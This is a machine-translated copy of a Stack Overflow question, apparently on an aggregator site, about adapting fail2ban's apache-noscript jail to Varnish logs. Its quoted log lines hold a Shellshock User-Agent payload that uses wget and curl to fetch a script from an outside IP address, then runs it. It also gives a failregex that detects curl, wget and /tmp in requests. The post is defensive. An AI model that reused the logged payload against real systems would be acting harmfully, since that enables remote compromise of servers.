繁体   English   中英

fail2ban varish等效于apache-noscript

[英]fail2ban varish equivalent to apache-noscript

当前有一台服务器具有2个IP,一个内部和一个外部,外部带有清漆,内部的apache后端默认运行fail2ban。

最近,该网站关闭并返回503错误,结果是fail2ban禁止清漆与apache-noscript规则与apache后端进行对话。 此后,我为该IP地址添加了一个排除项,因此不会再次被禁止,但是理想情况下,如果将来该客户端被禁止,我希望这样做。

从Apache日志

SERVER_IP - - [14/Jan/2015:16:52:57 +0000] "GET /phppath/php HTTP/1.1" 404 438 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS! #";system(\"wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*\");'"

从清漆日志

CLIENT_IP - - [14/Jan/2015:16:52:57 +0000] "GET http://SERVER_IP/phppath/php HTTP/1.1" 404 226 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*");'"

只需复制我的apache-noscript定义以使用varnishlogs即可,例如:

[apache-noscript]

enabled  = true
port     = http,https
filter   = apache-noscript
logpath  = /var/log/apache*/*error.log
maxretry = 2 

成为

[varnish-noscript]

enabled  = true
port     = http,https
filter   = apache-noscript
logpath  = /var/log/varnish/varnishncsa.log
maxretry = 2

我注意到apache没有脚本过滤器具有以下failregex

failregex = ^%(_apache_error_client)s (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)\s*$
            ^%(_apache_error_client)s script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat\s*$

我想主要的问题是,对于上面的输出中的varnishlog来说,这是否仍然有效,如果不是的话,我需要什么failregex?

非常感谢。

[编辑]事实证明,这是一个偶然的现象,Noscript禁止了,但上述日志条目没有这样做。 现在为上述日志条目制定一个fail2ban正则表达式。

好的,我按照以下规则创建了一个新监狱,以解决上述问题:

failregex = ^<HOST>.*\[[^]]+\].*\".+\"\s[1-9][0-9][0-9]\s[0-9]+\s\".*\"\s\".*(\/tmp|\/usr\/bin|curl\s+|\s*wget\s+|\.bin\s+).*\"$

请随时提出改进规则以捕获上述日志行。

失败正则表达式可同时用于apache访问日志和varnish csa日志。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM